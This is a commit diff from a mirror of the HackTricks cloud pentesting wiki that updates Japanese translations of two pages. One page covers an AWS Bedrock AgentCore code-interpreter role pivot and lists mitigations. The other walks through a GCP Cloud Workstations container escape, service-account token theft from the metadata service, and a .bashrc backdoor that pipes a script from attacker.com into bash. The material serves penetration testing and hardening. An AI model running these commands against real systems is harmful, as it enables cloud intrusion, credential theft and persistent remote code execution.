mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/gcp-security/gcp-privilege-escalat
This commit is contained in:
Translator
+27
-26
@@ -6,31 +6,32 @@
|
||||
|
||||
### `bedrock-agentcore:StartCodeInterpreterSession` + `bedrock-agentcore:InvokeCodeInterpreter` - Code Interpreter Execution-Role Pivot
|
||||
|
||||
AgentCore Code Interpreter は管理された実行環境です。**Custom Code Interpreters** は、Code Interpreter が AWS サービスにアクセスする権限を「提供する」**`executionRoleArn`** を設定できます。
|
||||
AgentCore Code Interpreter はマネージドされた実行環境です。**Custom Code Interpreters** は、コードインタプリタが AWS サービスにアクセスするための権限を提供する **`executionRoleArn`** を設定できます。
|
||||
|
||||
より権限の低い **IAM principal** が、より権限の高い **execution role** に設定された Code Interpreter セッションを **start + invoke** できる場合、呼び出し元は実質的に **execution role の権限へ pivot** できます（role の範囲によっては lateral movement / privilege escalation）。
|
||||
もし権限の低い**IAM プリンシパル**が、より高権限の **execution role** で構成された Code Interpreter セッションを**開始・呼び出し**できる場合、呼び出し元は実質的にその execution role の権限に**ピボット（アクセス移動）**することができます（ロールの範囲によっては横移動／権限昇格となります）。
|
||||
|
||||
> [!NOTE]
|
||||
> これは通常、**misconfiguration / excessive permissions** の問題です（interpreter の execution role に広範な権限を付与したり、invoke を広く許可したりする場合）。
|
||||
> AWS は、execution roles が invoke を許可された ID よりも **equal or fewer** の権限になるようにして、privilege escalation を回避するよう明示的に警告しています。
|
||||
> これは通常、**ミスコンフィギュレーション／過剰な権限付与**の問題です（インタプリタの execution role に広範な権限を与えたり、呼び出し権限を広く付与したりする場合）。
|
||||
> AWS は、execution role に付与する権限を、呼び出しを許可された識別子の権限と同等かそれ以下にすることで、権限昇格を回避するよう明示的に警告しています。
|
||||
|
||||
#### Preconditions (common misconfiguration)
|
||||
#### 前提条件（一般的なミスコンフィグ）
|
||||
|
||||
- 過剰権限の **execution role** を持つ **custom code interpreter** が存在する（例: 機密な S3/Secrets/SSM へのアクセスや IAM 管理相当の権限）。
|
||||
- ユーザー（developer/auditor/CI のアイデンティティ）が次の権限を持っている:
|
||||
- start sessions: `bedrock-agentcore:StartCodeInterpreterSession`
|
||||
- invoke tools: `bedrock-agentcore:InvokeCodeInterpreter`
|
||||
- (オプション) ユーザーが interpreter を作成できる: `bedrock-agentcore:CreateCodeInterpreter`（組織のガードレール次第で、execution role を設定した新しい interpreter を作成できる）。
|
||||
- **custom code interpreter** が、過剰な権限を持つ **execution role** として存在する（例: 機密性の高い S3/Secrets/SSM へのアクセス、または IAM 管理者に類する権限）。
|
||||
- ユーザ（developer／auditor／CI の識別子）が以下の権限を持っている：
|
||||
- セッションを開始する: `bedrock-agentcore:StartCodeInterpreterSession`
|
||||
- ツールを呼び出す: `bedrock-agentcore:InvokeCodeInterpreter`
|
||||
- （オプション）ユーザがインタプリタを作成できる: `bedrock-agentcore:CreateCodeInterpreter`（組織のガードレールによっては、execution role を設定した新しいインタプリタを作成できる）。
|
||||
|
||||
#### Recon (identify custom interpreters and execution role usage)
|
||||
|
||||
Interpreters（control-plane）を列挙し、その設定を確認：
|
||||
インタプリタを一覧（control-plane）し、その設定を確認します：
|
||||
```bash
|
||||
aws bedrock-agentcore-control list-code-interpreters
|
||||
aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id <CODE_INTERPRETER_ID>
|
||||
````
|
||||
> create-code-interpreter コマンドは `--execution-role-arn` をサポートしており、インタプリタが持つ AWS の権限を定義します。
|
||||
#### ステップ 1 - セッションを開始する（これは `sessionId` を返し、対話型シェルではありません）
|
||||
> create-code-interpreter コマンドは `--execution-role-arn` をサポートしており、インタプリタに付与される AWS の権限を定義します。
|
||||
|
||||
#### Step 1 - セッションを開始する（これは `sessionId` を返し、対話型シェルではありません）
|
||||
```bash
|
||||
SESSION_ID=$(
|
||||
aws bedrock-agentcore start-code-interpreter-session \
|
||||
@@ -42,11 +43,11 @@ aws bedrock-agentcore start-code-interpreter-session \
|
||||
|
||||
echo "SessionId: $SESSION_ID"
|
||||
```
|
||||
#### ステップ2 - Invoke code execution (Boto3 または署名付き HTTPS)
|
||||
#### ステップ2 - コード実行を呼び出す (Boto3 または 署名付き HTTPS)
|
||||
|
||||
`start-code-interpreter-session` からは **no interactive python shell** がありません。実行は **InvokeCodeInterpreter** を介して行われます。
|
||||
`start-code-interpreter-session` からは **対話型の python シェルはありません**。実行は **InvokeCodeInterpreter** 経由で行われます。
|
||||
|
||||
**オプションA - Boto3 の例 (execute Python + verify identity):**
|
||||
**Option A - Boto3 の例 (Python を実行 + アイデンティティを検証):**
|
||||
```python
|
||||
import boto3
|
||||
|
||||
@@ -67,9 +68,9 @@ arguments={
|
||||
for event in resp.get("stream", []):
|
||||
print(event)
|
||||
```
|
||||
インタプリタが実行ロールで構成されている場合、`sts:GetCallerIdentity()` の出力はそのロールのアイデンティティを反映するはずです（low-priv caller ではなく）、これにより pivot を実証できます。
|
||||
インタプリタが実行ロールで設定されている場合、`sts:GetCallerIdentity()` の出力はそのロールのアイデンティティ（低権限の呼び出し元ではなく）を反映し、pivot を示します。
|
||||
|
||||
**オプションB - 署名済み HTTPS 呼び出し (awscurl):**
|
||||
**Option B - 署名付き HTTPS コール (awscurl):**
|
||||
```bash
|
||||
awscurl -X POST \
|
||||
"https://bedrock-agentcore.<Region>.amazonaws.com/code-interpreters/<CODE_INTERPRETER_IDENTIFIER>/tools/invoke" \
|
||||
@@ -86,18 +87,18 @@ awscurl -X POST \
|
||||
}
|
||||
}'
|
||||
```
|
||||
#### Impact
|
||||
#### 影響
|
||||
|
||||
* **Lateral movement**: interpreter execution role が持つ任意の AWS アクセスへ移動される可能性があります。
|
||||
* **Privilege escalation**: interpreter execution role が呼び出し元よりも強力な権限を持つ場合に発生します。
|
||||
* 検出が困難になる場合があります — interpreter の呼び出しに対する CloudTrail data events が有効でないと（設定によっては）invocations がデフォルトでログに記録されないことがあります。
|
||||
* **Lateral movement** — インタープリタの実行ロールが持つ AWS アクセス先へ横移動される可能性がある。
|
||||
* **Privilege escalation** — インタープリタの実行ロールが呼び出し元より高い権限を持つ場合に特権昇格が発生する可能性がある。
|
||||
* 検出が困難になる場合がある — CloudTrail data events がインタープリタの呼び出しに対して有効になっていないと、（設定によっては）呼び出しがデフォルトでログに記録されないことがある。
|
||||
|
||||
#### Mitigations / Hardening
|
||||
|
||||
* **Least privilege** を interpreter の `executionRoleArn` に適用する（Lambda execution roles / CI roles と同様に扱う）。
|
||||
* **Restrict who can invoke** (`bedrock-agentcore:InvokeCodeInterpreter`) とセッションを開始できる者を制限する。
|
||||
* 承認された agent runtime roles を除き InvokeCodeInterpreter を拒否するために **SCPs** を使用する（org-level での強制が必要になる場合があります）。
|
||||
* 該当箇所で AgentCore に対する適切な **CloudTrail data events** を有効にし、予期しない invocations やセッション作成を検出してアラートを出す。
|
||||
* **Least privilege** をインタープリタの `executionRoleArn` に適用する（Lambda execution roles / CI roles と同様に扱う）。
|
||||
* **Restrict who can invoke** (`bedrock-agentcore:InvokeCodeInterpreter`) とセッションを開始できるユーザを制限する。
|
||||
* 承認された agent runtime roles を除き InvokeCodeInterpreter を拒否するために **SCPs** を使用する（組織レベルでの強制が必要になる場合がある）。
|
||||
* 適切な **CloudTrail data events** を AgentCore に対して有効にし、予期しない invocations やセッション作成に対してアラートを設定する。
|
||||
|
||||
## References
|
||||
|
||||
|
||||
+15
-15
@@ -3,20 +3,20 @@
|
||||
|
||||
### Container Breakout via Docker Socket (Container -> VM -> Project)
|
||||
|
||||
The primary privilege escalation path in Cloud Workstations stems from the requirement to support **Docker-in-Docker (DinD)** workflows for developers. When the workstation configuration mounts the Docker socket or allows privileged containers (a common configuration), an attacker inside the workstation container can escape to the underlying Compute Engine VM and steal its service account token.
|
||||
Cloud Workstations における主要な権限昇格経路は、開発者向けに **Docker-in-Docker (DinD)** ワークフローをサポートする必要性に由来します。workstation の構成が Docker socket をマウントするか、privileged containers を許可している場合（一般的な構成）、workstation コンテナ内の攻撃者は基盤となる Compute Engine VM へ脱出し、そのサービスアカウントトークンを奪取できます。
|
||||
|
||||
**前提条件:**
|
||||
- Cloud Workstation の端末へのアクセス（SSH、セッションの侵害、または盗まれた認証情報経由）
|
||||
- ワークステーションの構成で `/var/run/docker.sock` をマウントしているか、privileged containers を有効にしている必要がある
|
||||
- Cloud Workstation ターミナルへのアクセス（SSH、乗っ取られたセッション、または盗まれた資格情報経由）
|
||||
- workstation の構成が `/var/run/docker.sock` をマウントするか、privileged containers を有効にしていること
|
||||
|
||||
**アーキテクチャのコンテキスト:** ワークステーションは、GCE VM (Layer 1) 上の Docker/Containerd ランタイム (Layer 2) 上で動作するコンテナ (Layer 3) です。Docker socket はホストのコンテナランタイムへ直接アクセスを提供します。
|
||||
**アーキテクチャの文脈:** workstation はコンテナ（Layer 3）で、Docker/Containerd ランタイム（Layer 2）上の GCE VM（Layer 1）で動作しています。Docker socket はホストのコンテナランタイムへの直接アクセスを提供します。
|
||||
|
||||
> [!NOTE]
|
||||
> ツール [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) は完全な container escape を自動化し、host VM 上で root shell を得られるようにします。
|
||||
> ツール [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) は完全な container escape を自動化し、ホスト VM 上の root シェルに降ろします。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>ステップ 1: Docker socket の確認</summary>
|
||||
<summary>ステップ 1: Docker socket を確認</summary>
|
||||
```bash
|
||||
# Verify the Docker socket is available
|
||||
ls -l /var/run/docker.sock
|
||||
@@ -26,9 +26,9 @@ ls -l /var/run/docker.sock
|
||||
|
||||
<details>
|
||||
|
||||
<summary>ステップ2: ホストVMのファイルシステムへ脱出</summary>
|
||||
<summary>ステップ 2: Escape — ホストVMのファイルシステムへ</summary>
|
||||
|
||||
特権コンテナを起動し、ホストのルートディレクトリを `/mnt/host` にマウントします。可視性を最大化するため、ホストのネットワークと PID ネームスペースも共有します。
|
||||
privileged container を起動し、ホストのルートディレクトリを `/mnt/host` にマウントします。また、可視性を最大化するためホストの network と PID namespace も共有します。
|
||||
```bash
|
||||
# Spawn a privileged container mounting the host's root filesystem
|
||||
docker run -it --rm --privileged --net=host --pid=host \
|
||||
@@ -38,13 +38,13 @@ alpine sh
|
||||
# Inside the new container, chroot into the host
|
||||
chroot /mnt/host /bin/bash
|
||||
```
|
||||
これで、基盤となる **root shell on the underlying Compute Engine VM** を取得しました（Layer 1）。
|
||||
あなたは現在、基盤となる **Compute Engine VM 上の root shell** を持っています（Layer 1）。
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>ステップ3: IMDS から VM service account token を盗む</summary>
|
||||
<summary>ステップ3: VM の service account token を IMDS から盗む</summary>
|
||||
```bash
|
||||
# From the host VM, query the Instance Metadata Service
|
||||
curl -s -H "Metadata-Flavor: Google" \
|
||||
@@ -61,16 +61,16 @@ http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scop
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> **スコープを確認してください!**
|
||||
> アタッチされている Service Account が **Editor** であっても、VM はアクセススコープによって制限されている可能性があります。
|
||||
> もし `https://www.googleapis.com/auth/cloud-platform` が表示されていれば、完全なアクセス権があります。
|
||||
> **スコープを確認してください！**
|
||||
> 付与されている Service Account が **Editor** であっても、VM はアクセススコープによって制限されている可能性があります。
|
||||
> もし `https://www.googleapis.com/auth/cloud-platform` が表示されていれば、フルアクセスを持っています。
|
||||
> もし `logging.write` と `monitoring.write` のみが表示されている場合、以下の **Network Pivot** と **Persistence** ベクトルに制限されます。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>ステップ4: Achieve Persistence (Backdoor the User)</summary>
|
||||
|
||||
Cloud Workstations は `/home/user` に永続ディスクをマウントします。コンテナのユーザ（通常 `user`, UID 1000）がホストのユーザ（UID 1000）と一致するため、ホストのホームディレクトリに書き込むことができます。これにより、workstation container が再構築されても環境に backdoor を仕掛けることができます。
|
||||
Cloud Workstations は永続ディスクを `/home/user` にマウントします。コンテナのユーザ（通常は `user`, UID 1000）がホストのユーザ（UID 1000）と一致するため、ホストのホームディレクトリに書き込みできます。これにより、workstation container が再構築されても環境にバックドアを仕掛けることができます。
|
||||
```bash
|
||||
# Check if you can write to the host's persistent home
|
||||
ls -la /mnt/host/home/user/
|
||||
@@ -85,7 +85,7 @@ echo "curl http://attacker.com/shell | bash" >> /mnt/host/home/user/.bashrc
|
||||
|
||||
<summary>Step 5: Network Pivot (Internal VPC Access)</summary>
|
||||
|
||||
ホストのネットワーク名前空間を共有しているため (`--net=host`)、あなたは現在 VPC 上の信頼されたノードになっています。IP ホワイトリストに基づいてアクセスを許可する内部サービスをスキャンできます。
|
||||
host network namespace (`--net=host`) を共有しているため、あなたは現在 VPC 上の信頼されたノードになっています。IP whitelisting に基づいてアクセスを許可する内部サービスをスキャンできます。
|
||||
```bash
|
||||
# Install scanning tools on the host (if internet access allows)
|
||||
apk add nmap
|
||||
|
||||
Reference in New Issue
Block a user